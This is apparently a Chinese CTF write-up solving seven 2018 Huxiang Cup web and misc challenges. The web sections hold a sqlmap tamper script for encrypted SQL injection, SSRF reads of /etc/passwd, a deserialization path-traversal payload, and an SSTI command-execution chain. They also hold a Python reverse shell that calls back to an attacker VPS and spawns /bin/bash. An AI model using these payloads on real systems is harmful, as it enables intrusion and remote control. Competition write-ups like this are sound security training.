zoukankan      html  css  js  c++  java
  • 2018湖湘杯web、misc记录

              

    1.题目名 Code Check

        打开题目,右键发现有id参数的url,简单base64解码以后发现不是明文,说明利用了其他的加密方式,那么应该会有具体的加密方式给我们,于是试试常见的文件泄露,可以发现list.zip,打开发现是具体的解密逻辑与查询逻辑。

        

        有了解密逻辑我们就可以逆着写出加密逻辑,另外id参数明显存在注入,只需要写一个加密的sqlmap的tamper脚本,然后放到sqlmap的tamper目录下就可以了,之后在sqlmap里跑一跑就可以出flag

              下面是改过的tamper脚本

    #!/usr/bin/env python
    
    """
    
    Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
    
    See the file 'LICENSE' for copying permission
    
    """
    
    import base64
    
    from Crypto.Cipher import AES
    
    from lib.core.enums import PRIORITY
    
    from lib.core.settings import UNICODE_ENCODING
    
     
    
    __priority__ = PRIORITY.LOWEST
    
     
    
    def dependencies():
    
        pass
    
     
    
    def encrypt(text):
    
        padding = ''
    
        key = 'ydhaqPQnexoaDuW3'
    
        iv = '2018201920202021'
    
        pad_it = lambda s: s+(16 - len(s)%16)*padding
    
        cipher = AES.new(key, AES.MODE_CBC, iv)
    
        text = text + 'hxb2018'
    
        return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))
    
    def tamper(payload, **kwargs):
    
             return encrypt(payload)

    2.题目名 Flow

             题目是个流量包,802.11的,数据包是加密的,所以尝试一下能不能爆破出来key来解密一下上层的其他数据包来找flag,一般做无线的题目需要用到aircrack-ng这个无线破解工具。

       首先需要一个弱密码的字典,然后运行 aircrack-ng -w 字典名 + 流量包,运气比较好刚好爆破出来了key为password1

     

        有了key就能导入到wireshark里面对wpa加密的无线数据包进行解密

     

                     解密之后在导出http对象中发现flag

        

    3.题目名 readflag

        ssrf的题目,首先读了下/etc/passwd没有什么有用的东西,所以继续读一下/etc/hosts发现内网里面有两台主机

     

     

         经过简单测试,发现题目的内网主机号为230,另一台内网机器的主机号是183,所以尝试读一下另一个机器上的文件,首先读一下apache的配置文件,发现如下路径树

     

         又因为http的网站在站点的配置文件下有默认的000-default.conf,所以尝试访问如下:

     

               发现了web的源码路径,直接读取

     

        发现路径/var/www/html/ssrf/readflag,尝试访问是个elf,一堆乱码,所以用wget下载这个elf,然后ida里面加载一下发现如下:

     

        所以更改一下路径,读取如下,得到flag

     

    4.题目名 mynote

            这是一道反序列化的题目,在我们注册登陆以后,在抓包中发现picture参数有问题,base64解码发现其为序列化的数据,所以猜测是否其存在反序列化漏洞,我们上传一个jpg文件

     

       又因为后端会访问我们上传的图片并会返回到前端,所以尝试是否可以读取任意文件,上传1.jpg以后,抓包并且改为payload为a:1:{i:0;s:14:”../../flag.php”;},然后放包如下图所示,可以看到一串base64编码

     

     

    解密后就能看到flag如上图所示

    5. 管理员的flag在哪里?

           注册登陆后,在添加标题那里刚开始选择“是”这个选项,以为是xss,但是没效果,于是选择“否”,添加标题后发现有show页面,尝试了一下模板注入的payload

     

     

     

     

           返回了9说明的确存在模板注入,于是尝试是否可以执行命令

    构造payload如下:

     

     

         返回的值证明可以执行命令,又继续尝试了一下curl和wget 都能使用,所以尝试反弹一下shell试试,在vps上监听一下端口,使用exp下载vps上的shell.py文件并执行,构造以下payload:

     

     

     

    shell如下:

    #!/usr/bin/env python
    
    #coding:utf-8
    
     
    
    import os
    
    import pty
    
    import socket
    
    lhost = "xx.xx.xx.xx" #vps的ip地址
    
    lport = 21192 #vps的端口
    
     
    
    def main():
    
        s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        s.connect((lhost,lport))
    
        os.dup2(s.fileno(),0)
    
        os.dup2(s.fileno(),1)
    
        os.dup2(s.fileno(),2)
    
        pty.spawn('/bin/bash')
    
        s.close()
    
     
    
    main()

     

                    分别show以上的两条payload以后就能够拿到shell,在Xme0目录下存在auto.js 查看它如下图所示得到flag

     

    6.disk

     下载一个是一个vmdk文件,首先看看能不能提取出来啥东西,这里需要用到7z

     

     

        提取出来里面有四个flag文件,但是打开并不是flag,队友说可能跟NTFS隐藏数据流有关系,所以百度一波,在网上找到如下工具

     

    能够检测出隐藏在文件中的NTFS数据流,搜索一下果然找到了可疑的数据流

     

        百度到ads原来是可以隐藏后门的,于是分别打开四个flag文件

     

     

            打开flag1.txt后是一段二进制,在线将其转化为字符串试试

     

               发现是flag,所以继续转换后面的三个文件中的二进制文件并转换就可以得到flag

     

     

    7.Hidden Write

       首先拿到图片先binwalk一下,发现什么都没有

     

     

        然后strings一下图片

     

        结尾发现flag的一部分字符串78cd89c18c

        肯定在别的地方还有flag的其他部分,所以用16进制编辑器看看图片,发现其有三个图片其中两张图片没有头部的前8个字节,所以把两张图片抠出来加上头部,就变成3张图片了

     

          此时掏出stegsolve来给三张图片用一用,在第二张图中发现了bgr通道的lsb隐写

     

         hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一个部分,此时明显还少最后一个部分,此时有三张图片当然想到用盲水印,以前在比赛中遇到过,所以用下图所示的工具试试:

     

     

           由于有3张图片所以需要两两结合来花费3次来尝试

     

     

        由此得到flag的最后一段为20b4a}

        最后拼接得到flag:

    hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}

     

  • 相关阅读:
    模块化编程
    flex 弹性布局
    作用域与作用域链
    深入解读JavaScript面向对象编程实践
    javascript Null、Undefined 、NaN的联系与区别
    跨域常见解决方案
    Reverse Pairs
    315. Count of Smaller Numbers After Self
    2. Add Two Numbers
    657. Judge Route Circle
  • 原文地址:https://www.cnblogs.com/tr1ple/p/9986587.html
Copyright © 2011-2022 走看看